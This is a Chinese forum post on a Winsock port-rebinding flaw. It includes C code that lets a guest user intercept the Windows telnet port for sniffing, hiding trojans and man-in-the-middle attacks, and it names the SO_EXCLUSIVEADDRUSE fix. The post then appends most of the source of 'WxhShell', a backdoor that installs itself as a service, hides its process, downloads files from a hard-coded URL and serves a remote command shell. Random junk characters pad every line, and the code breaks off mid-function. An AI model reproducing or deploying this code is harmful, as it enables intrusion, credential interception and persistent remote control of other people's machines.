社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 9768阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Ddr.kXIpo  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z?);^m|T  
NZTG)<  
  saddr.sin_family = AF_INET; jgW-&nK!  
<U]!1  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); /qd5{%:  
~fV\ X*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `Pcbc\"*y  
Biva{'[m  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 U $2"ZyFii  
5vmc'Om  
  这意味着什么?意味着可以进行如下的攻击: .yF@Ow  
\|gE=5!Am=  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /Z?$!u4I  
2 lc  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .S{FEV  
ILU7Yhk  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 M&v;#CV  
0|J]EsPxu  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  VK]cZ%)  
c;13V(Djy  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 aob+_9o  
<l.l6okp  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 -91*VBrOd  
b4R;#rm  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 X7g@.Oy`  
k Xg&}n7  
  #include ..K@'*u  
  #include _ g8CvH)?!  
  #include g!\H^d4  
  #include    AGGT] 58|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   7|PB6h3  
  int main() eBWgAf.k  
  { "U-dw%b}b  
  WORD wVersionRequested; ntntB{t  
  DWORD ret; 0T7t.  
  WSADATA wsaData; b+CJRB1  
  BOOL val; U38~m}c  
  SOCKADDR_IN saddr; }a%1$>sj  
  SOCKADDR_IN scaddr; al"=ld(  
  int err; RcC5_@W  
  SOCKET s; q5G`q&O5  
  SOCKET sc; zP&D  
  int caddsize; {2)).g  
  HANDLE mt; G}Ko*:fWS  
  DWORD tid;   +#Wwah$  
  wVersionRequested = MAKEWORD( 2, 2 ); v5\5:b {/  
  err = WSAStartup( wVersionRequested, &wsaData ); dmWCNeja.  
  if ( err != 0 ) { L54]l^ls>  
  printf("error!WSAStartup failed!\n"); nb.|^O?  
  return -1; ?>Ngsp>-P  
  } M-Ek(K3SRf  
  saddr.sin_family = AF_INET; _=cU2  
   aaP6zJXi  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 c'>_JlG~  
9a]{|M9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #jh5%@  
  saddr.sin_port = htons(23); ?rjB9AC_;t  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) la}cGZ; p.  
  { Bi2 c5[3  
  printf("error!socket failed!\n"); U:z5`z!  
  return -1; \wD L oR  
  }  !TivQB  
  val = TRUE; PXyv);#Q`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 9Z21|5  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) v;`>pCal  
  { ap8q`a{j^  
  printf("error!setsockopt failed!\n"); I(Z\$  
  return -1; ^|SiqE  
  } q|:wzdmNZ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +4  h!;i  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1BEs> Sm  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 X 5\xq+Ih  
e_|Z&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 1+gFfKq  
  { BN `2UVH  
  ret=GetLastError(); yVgC1-8i*  
  printf("error!bind failed!\n"); Y!8FW|  
  return -1; *:Rs\QH   
  } aU~?&]  
  listen(s,2); O5aXa_A_u  
  while(1) S@Rd>4  
  { zPx R=0|  
  caddsize = sizeof(scaddr); haY]gmC  
  //接受连接请求 }W'4(V;:  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); k qL.ZR  
  if(sc!=INVALID_SOCKET) 3C<G8*4);/  
  { A .Wf6o  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); cFt&Efj  
  if(mt==NULL) 8>t,n,k  
  { @ ?M\[qeF@  
  printf("Thread Creat Failed!\n"); oOaFA+0x  
  break; :SS \2  
  } N[e,%heR  
  } +C8O"  
  CloseHandle(mt); +8C }%6aX  
  } [8a(4]4  
  closesocket(s); $L 8>Ha}  
  WSACleanup(); FGx)?  
  return 0; QM#Vl19>j(  
  }   $3 P De  
  DWORD WINAPI ClientThread(LPVOID lpParam) >7PQOQMW'  
  { v@soS1V!  
  SOCKET ss = (SOCKET)lpParam; 8W{M}>;[9  
  SOCKET sc; K<wFr-z  
  unsigned char buf[4096]; $Yt|XT+!&  
  SOCKADDR_IN saddr; (0 H=f6N  
  long num; *qm|A{FQR  
  DWORD val; v>#Njgo  
  DWORD ret; Yu\$Y0 {]  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ?UAuUFueA  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Ba@~:  
  saddr.sin_family = AF_INET; (<r)xkn  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); _i}b]xfM  
  saddr.sin_port = htons(23); hqvhnqQk  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r=5 S0  
  { ?E"192 ,z@  
  printf("error!socket failed!\n"); n2bhCd]j<b  
  return -1; D,}bTwRb-  
  } ZK8)FmT_<O  
  val = 100; ?"mZb#%  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5[Vr {^)  
  { hm1s~@oEm  
  ret = GetLastError(); ~ tA ^K  
  return -1; Ks P2./N  
  } bRxI7 '  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~j'D%:[+VH  
  { \{ @m  
  ret = GetLastError(); J:N(U0U  
  return -1; -/pz3n  
  } =O }^2OARo  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) zsXgpnlHT  
  { E+lR&~mK=  
  printf("error!socket connect failed!\n"); |O_ JUl  
  closesocket(sc); k9}8xpH  
  closesocket(ss); l&ueD& *4&  
  return -1; hn8xs5vN  
  } JB~^J5#[Oh  
  while(1) 'z. GAR  
  { ._G ,uP$  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ; BN81;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 >K9Ia4I,  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 B?z2@,  
  num = recv(ss,buf,4096,0); lgaSIXDK  
  if(num>0) =HCEUB9Fs  
  send(sc,buf,num,0); jw:z2:0~  
  else if(num==0) [[ ie  
  break; uCDe>Q4@/  
  num = recv(sc,buf,4096,0); ]o<]A[<  
  if(num>0) ]3O&8,  
  send(ss,buf,num,0); W~ ~'  
  else if(num==0) y(J~:"}7)  
  break; e]RzvWq  
  } lnyb4d/  
  closesocket(ss); sG`x |%t  
  closesocket(sc); ( V4Ppg  
  return 0 ; Y"mFUW4  
  } 5skN'*oG  
iwK.*07+  
m.K cTM%j  
========================================================== qPQIcJ  
Z_q+Ac{p  
下边附上一个代码,,WXhSHELL Te-p0x?G.  
1B4Qj`:+0  
========================================================== r^~+ <"  
j}^w :W76  
#include "stdafx.h" 2<@2_wSJ  
U!(.i1^n  
#include <stdio.h> KoERg&fY  
#include <string.h> ]{1{XIF  
#include <windows.h> |`LH|6/  
#include <winsock2.h> oPKLr31zt  
#include <winsvc.h> <o%T]  
#include <urlmon.h> ]>X_E%`G<b  
VE+H! ob A  
#pragma comment (lib, "Ws2_32.lib") zS%XmS\  
#pragma comment (lib, "urlmon.lib") aD: #AmbJ  
Zonjk%tC  
#define MAX_USER   100 // 最大客户端连接数 8}0wSVsxV$  
#define BUF_SOCK   200 // sock buffer VhO%4[Jl  
#define KEY_BUFF   255 // 输入 buffer /.SG? 5t4  
wEjinP$2  
#define REBOOT     0   // 重启 4,)9@-|0R  
#define SHUTDOWN   1   // 关机 m{Q #f\<  
K0.aU  
#define DEF_PORT   5000 // 监听端口 u}5CzV`  
yD3}USw  
#define REG_LEN     16   // 注册表键长度 BP3Ha8/X  
#define SVC_LEN     80   // NT服务名长度 tAv3+  
sT)>Vdwf_  
// 从dll定义API KwL_ae6fV  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %66="1z0@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  i;O_B5 d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \BnU ?z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xgk~%X%K  
0-Mzb{n5  
// wxhshell配置信息 :{%[6lE^G  
struct WSCFG { %,T*[d&i  
  int ws_port;         // 监听端口 Pe _O(  
  char ws_passstr[REG_LEN]; // 口令 DB|1Sqjsn  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4}H+hk8-  
  char ws_regname[REG_LEN]; // 注册表键名 MltO.K!  
  char ws_svcname[REG_LEN]; // 服务名 ^%7(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 IJ Jp5[w  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 hY&Yp^"}]^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^-"Iw y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no h3@tZL#g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" F vkyp"W3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G Aj%o]}u  
#^T`vTD-  
}; /PwiZ A3sA  
n4{%M  
// default Wxhshell configuration D{+@ ,C7B  
struct WSCFG wscfg={DEF_PORT, K%J?'-  
    "xuhuanlingzhe", \GL] I.  
    1, G0 )[(s  
    "Wxhshell", [.}qi[=n  
    "Wxhshell", KqG b+N-@  
            "WxhShell Service", HP8J\`  
    "Wrsky Windows CmdShell Service",  t;o\"H  
    "Please Input Your Password: ", <wS J K  
  1, -qP)L;n  
  "http://www.wrsky.com/wxhshell.exe", uyYV_Q0~;  
  "Wxhshell.exe" [BE_^d5&  
    }; M_E,pg=rWI  
kPX+n+$  
// 消息定义模块 4t[7lL`Z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; NTu |cX\R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; x$d[Ovw-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )V1xL_hx/  
char *msg_ws_ext="\n\rExit."; > Z+*tq  
char *msg_ws_end="\n\rQuit.";  nYx /q  
char *msg_ws_boot="\n\rReboot..."; %E_Y4Oe1  
char *msg_ws_poff="\n\rShutdown..."; .) Ej#mk  
char *msg_ws_down="\n\rSave to "; B=cA$620  
MN<LZC% $  
char *msg_ws_err="\n\rErr!"; FDl/7P`b(  
char *msg_ws_ok="\n\rOK!"; @6 "MhF  
,!{8@*!=s  
char ExeFile[MAX_PATH]; fJ*^4  
int nUser = 0; cNd&C'/N  
HANDLE handles[MAX_USER]; )]fiyXA  
int OsIsNt; l!,tssQ  
(u 7Lh>6%  
SERVICE_STATUS       serviceStatus; {?yVA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; dUv@u !}B  
>>{):r Z  
// 函数声明 @}q, ';H7  
int Install(void); qArR5OJ  
int Uninstall(void); -- %XkO  
int DownloadFile(char *sURL, SOCKET wsh); "pDU v^ie  
int Boot(int flag); :<aGZ\R5  
void HideProc(void); I7U/={[J  
int GetOsVer(void); ^ |MS2'  
int Wxhshell(SOCKET wsl); xo@1((|z  
void TalkWithClient(void *cs); r-T1^u  
int CmdShell(SOCKET sock); u{4P)DIQ  
int StartFromService(void); e`0C0GaP  
int StartWxhshell(LPSTR lpCmdLine); vl/!w2  
5X^\AW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); x@Gg fH<l  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); G `|7NL   
x_7$g<n  
// 数据结构和表定义 5J`w8[;  
SERVICE_TABLE_ENTRY DispatchTable[] = CG%bZco((  
{ 4S42h_9  
{wscfg.ws_svcname, NTServiceMain}, .gy:Pl]w  
{NULL, NULL} 7Q!ksp  
}; 807+|Ol[  
eztK`_n  
// 自我安装  (7X  
int Install(void) X8tPn_`x  
{ ;.jj>1=Tnl  
  char svExeFile[MAX_PATH]; 76T7<.S  
  HKEY key; -9 LvAV>  
  strcpy(svExeFile,ExeFile); "vk]y  
pS8\B  
// 如果是win9x系统,修改注册表设为自启动 UovN"8W+  
if(!OsIsNt) { Ho(M O!(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !Mw/j`*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'Qt[cW  
  RegCloseKey(key); ubB1a_7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GpPM?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4\U"e*  
  RegCloseKey(key); mst;q@  
  return 0; pcQzvLk  
    } HlxgJw~<  
  } 41C6ey  
} T~lHm  
else { z9Y}[ pN  
/jc; 2  
// 如果是NT以上系统,安装为系统服务 z4[ 8*}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Urm(A9|N  
if (schSCManager!=0) 0;5qo~1  
{ gE&83i"  
  SC_HANDLE schService = CreateService 5'rP-z~ u  
  ( )P W Zc?M  
  schSCManager, ;|vn;s/  
  wscfg.ws_svcname, c=B!\J<1  
  wscfg.ws_svcdisp, +o 6"Z)  
  SERVICE_ALL_ACCESS, (Ixmg=C6y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , AbMf8$$3SH  
  SERVICE_AUTO_START, Coe%R(x5  
  SERVICE_ERROR_NORMAL, =6, w~|W  
  svExeFile, XJ1<!tl  
  NULL, 0@jhNtL  
  NULL, U7xQ 5lph  
  NULL, %vWh1-   
  NULL, om0g'Qa  
  NULL >@|XY<  
  ); C/z0/mk  
  if (schService!=0) T;Ra/H  
  { `Yo!sgPO\  
  CloseServiceHandle(schService); Q$S|LC  
  CloseServiceHandle(schSCManager); /s`8=+\9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pTcN8E&Unz  
  strcat(svExeFile,wscfg.ws_svcname); N9AM% H$7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { LeXkl=CC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ix+\oq,O  
  RegCloseKey(key); UNescZ  
  return 0; !-|{B3"6  
    } :8Ql (I  
  } dj:6c@n  
  CloseServiceHandle(schSCManager); 5PT*b}g@  
} OO?BN!  
} =8 Jq'-da  
kKNrCv@64d  
return 1; sxn^1|O;m  
} {edjvPlk  
d7!,  
// 自我卸载 r=^?  
int Uninstall(void) A}(Q^|6  
{ MN. $a9m  
  HKEY key; JQ"w{O  
wD`jks  
if(!OsIsNt) { {P $sQv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NR0fxh  
  RegDeleteValue(key,wscfg.ws_regname); 5(&'/U^  
  RegCloseKey(key); 0X4%Ccs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YhFd0A?]  
  RegDeleteValue(key,wscfg.ws_regname); S,2{^X  
  RegCloseKey(key); z+qrsT/?L  
  return 0; 4^AdSuV  
  } vvcA-k?  
} /4#A|;d_  
} z!:%Hbh=  
else { {G4{4D }  
-}Q^A_xK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nEboet-#D0  
if (schSCManager!=0) 72{Ce7J4  
{ 6]5e(J{Fz  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +*ZF52hy|  
  if (schService!=0) 4n, >EA85  
  { d{G*1l(X  
  if(DeleteService(schService)!=0) { c*HWH$kB  
  CloseServiceHandle(schService); w{5v*SHl}`  
  CloseServiceHandle(schSCManager); !1cVg ls|  
  return 0; W]= $0'  
  } kB $?A8Olu  
  CloseServiceHandle(schService); b1ma(8{{{  
  } <WRrB `nO  
  CloseServiceHandle(schSCManager); G [$u`mxV^  
} W"*~1$vf  
} ;f+bIYQz  
brt1Kvu8(  
return 1; v[I,N$ :  
} "`&1"*  
!,zRg5Wp4  
// 从指定url下载文件 ;ro%Wjg`}  
int DownloadFile(char *sURL, SOCKET wsh) |w w@V<'/#  
{ j$jgEtPK9=  
  HRESULT hr; #Qnl,lf  
char seps[]= "/"; $~FnBD%|{  
char *token; ]'!$T72  
char *file; rf]'V Jg#3  
char myURL[MAX_PATH]; MclW!CmJ  
char myFILE[MAX_PATH]; mel(C1b"j/  
\:@yfI@  
strcpy(myURL,sURL); a1yGgT a?D  
  token=strtok(myURL,seps); J2d 3&6  
  while(token!=NULL) A4`3yy{0-  
  { mcqLN5  
    file=token; -J\R}9 lIm  
  token=strtok(NULL,seps); i]M:ntB"  
  } 0G}]d17ho  
7t~12m8x  
GetCurrentDirectory(MAX_PATH,myFILE); 2~(\d\k  
strcat(myFILE, "\\"); moT*r?l  
strcat(myFILE, file); ipdGAG  
  send(wsh,myFILE,strlen(myFILE),0); 6< O|,7=_  
send(wsh,"...",3,0); lZf=#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {]V+C=`  
  if(hr==S_OK) t],5{UF  
return 0; yON";|*\m  
else }G53"  
return 1; L j>HZS$F  
5KIlU78  
} X8Y)5,`s  
lPO +dm  
// 系统电源模块 *p Q'w  
int Boot(int flag) ;2%8tV$V  
{ )o%sN'U,1  
  HANDLE hToken; 1Q>D^yPI[  
  TOKEN_PRIVILEGES tkp; (HD8Mm  
<yxy ;o  
  if(OsIsNt) { |p\vH#6y+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Tw0GG8(c  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pas^FT~  
    tkp.PrivilegeCount = 1; lJIcU RI4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OuuN~yC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); n1J;)VyR  
if(flag==REBOOT) { }ofx?s}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q$lgC v^M  
  return 0; $3c9iVK~_  
} Cyu= c1D;  
else { |rr<4>)X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fjP(r+[  
  return 0; K2 b\9}  
} Wkj0z ]]?  
  } c]1\88  
  else { _6!@>`u~  
if(flag==REBOOT) { =%Z5"];  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V N<omi+4  
  return 0; DqN<bu2  
} VAnP3:  
else { U6x$R O!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U"L 7G$  
  return 0; |D1:~z  
} Xdl7'~k  
} pr?k~Bn  
Uy98lv  
return 1; ~`c(7  
} %yPjPUHy  
#w6ty<b;  
// win9x进程隐藏模块 qLWM,[Og  
void HideProc(void) *F;W 1TF  
{ aGbHDo  
PP&9ORG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  "[ #.  
  if ( hKernel != NULL ) Vf#g~IOI  
  { OuMj%I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y?#aUQc  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ny` =]BA  
    FreeLibrary(hKernel); 7#+>1 "\  
  } q{CD:I:-  
JA2oy09G  
return; TD.t)  
} 51gSbkVX  
?<efKs  
// 获取操作系统版本 '_B;e=v`  
int GetOsVer(void) \5P 5N]]  
{ Fk`|?pQm  
  OSVERSIONINFO winfo; \OE,(9T2P.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !S#K6:  
  GetVersionEx(&winfo); Rrw6\iO  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /*e6('9s  
  return 1; *?rO@sQy]  
  else K^e4w`F|  
  return 0; ^;'FC vd  
} 66{Dyn7J~  
9c{T|+ ]  
// 客户端句柄模块 Vl/fkd,Z  
int Wxhshell(SOCKET wsl) +:3s f%0  
{ kgP6'`}E[  
  SOCKET wsh; p]rV\,Yss  
  struct sockaddr_in client; 3w}ul~>j  
  DWORD myID;  %m##i  
}CM#jN?(  
  while(nUser<MAX_USER) KM9H<;A  
{ z:oi @q  
  int nSize=sizeof(client); 2 $Umqt  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); sspGB>h8l  
  if(wsh==INVALID_SOCKET) return 1; [&sabM`Ul  
 6apK  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); PQ2rNY6  
if(handles[nUser]==0) J\hqK*/8  
  closesocket(wsh); Y^b}~t  
else gjzU%{T ?  
  nUser++; M44$E4a20  
  } DfX~}km  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e"|ZTg+U  
V;"Rp-`^  
  return 0; X*M2 O%g`L  
} 7c83g2|%   
JC# 5CCz  
// 关闭 socket qwq5y t?  
void CloseIt(SOCKET wsh) CYYo+5x  
{ hjz`0AS  
closesocket(wsh); W9;9\k  
nUser--; 1[!7xA0j  
ExitThread(0); @M6F?;  
} _6 @GT  
{E.A?yej9  
// 客户端请求句柄 R`M@;9I.@  
void TalkWithClient(void *cs) Y*sw;2Z;a  
{ Bh7hF?c Sj  
+zK?1llt  
  SOCKET wsh=(SOCKET)cs;  |CAMdU  
  char pwd[SVC_LEN]; 4m6/ ba  
  char cmd[KEY_BUFF]; qL5~Wr m-W  
char chr[1]; OHt^e7\  
int i,j; -/:K.SY,  
_k#GjAPM  
  while (nUser < MAX_USER) { rDGrq9  
:i|Bz6Ht4  
if(wscfg.ws_passstr) { e ^ZY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F`1J&S;C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $,0EV9+af  
  //ZeroMemory(pwd,KEY_BUFF); `dhBLAt  
      i=0; :KqSMuKR  
  while(i<SVC_LEN) { )4N1EuD6  
4'td6F  
  // 设置超时 q2s=>J';  
  fd_set FdRead; 1jE {]/Y7&  
  struct timeval TimeOut; 'F3@Xh  
  FD_ZERO(&FdRead); F$i 6  
  FD_SET(wsh,&FdRead); *S?'[PS]1  
  TimeOut.tv_sec=8; 7=s0Pm  
  TimeOut.tv_usec=0; d[Zx [=h  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <[$a7l i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )G-u;1rd  
% bKy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @bChJl4  
  pwd=chr[0]; Tp.:2[  
  if(chr[0]==0xd || chr[0]==0xa) { gX*j|( r  
  pwd=0; >v f-,B  
  break; 0O>M/ *W  
  } "H=N>=g0E  
  i++; ""Oir!4  
    } =RZ PDu  
XA;f.u  
  // 如果是非法用户,关闭 socket |kD69 }sG  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nM *}VI  
} ouO9%)zv  
1 ^30]2'_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); CugZ!>;^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f>e0 l'\  
!yr4B "kz  
while(1) { C6Cr+TScH  
g<7Aln}Nl\  
  ZeroMemory(cmd,KEY_BUFF); :*^aSPlV  
YV} "#  
      // 自动支持客户端 telnet标准   My Ky*wD  
  j=0; 947;6a%$  
  while(j<KEY_BUFF) { u,{R,hTDS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KP 6vb@(6  
  cmd[j]=chr[0]; Lf%=vd  
  if(chr[0]==0xa || chr[0]==0xd) { n5;@}Rai  
  cmd[j]=0; 6J@,bB jVz  
  break; *e<}hm Dr  
  } n-{d7haOa  
  j++; \3"B$Sp|=  
    } e\^}PU  
8@LUL)"  
  // 下载文件 =qpGAv_#  
  if(strstr(cmd,"http://")) { 5 8 7;2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =f [/Pv  
  if(DownloadFile(cmd,wsh)) qkz|r?R)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); lw99{y3<<  
  else fD3'Ye<R  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &[ ],rT  
  } ru6M9\h*  
  else { fM|s,'Q1x  
gK@`0/k{  
    switch(cmd[0]) { Qe-Pg^PS]  
  pKGhNIj$  
  // 帮助 {QaO\{J=  
  case '?': { 'Bxj(LaV-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mBb3Ta  
    break; H1L)9oa  
  } B3D}'<  
  // 安装 f6Lc"b3s1  
  case 'i': { f F)M'C  
    if(Install()) *9xxX,QT8Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5f?GSHA}  
    else  ;(J&%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bha("kG  
    break; JM?__b7g2  
    } zi_$roq=)  
  // 卸载 6({)O1Z  
  case 'r': { J/E''*  
    if(Uninstall()) 4nP4F +  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b 9"t%R9/Q  
    else D&I/Tbc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a5saN5)H  
    break; cWZ uph\  
    } 6<>1,wbq  
  // 显示 wxhshell 所在路径 O[eU{ ;P  
  case 'p': { 3e47UquZ  
    char svExeFile[MAX_PATH]; oXqJypR 2  
    strcpy(svExeFile,"\n\r"); .VNz( s  
      strcat(svExeFile,ExeFile); [Gv8Fn/aG  
        send(wsh,svExeFile,strlen(svExeFile),0); g6aqsa  
    break; !bCL/[  
    } KK1?!7  
  // 重启 r&B0 -7r  
  case 'b': { AXte&l=M  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); GnUD<P=I  
    if(Boot(REBOOT)) d$x vEm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  E>i<2  
    else { r|*_KQq  
    closesocket(wsh); On~KTt3Mp  
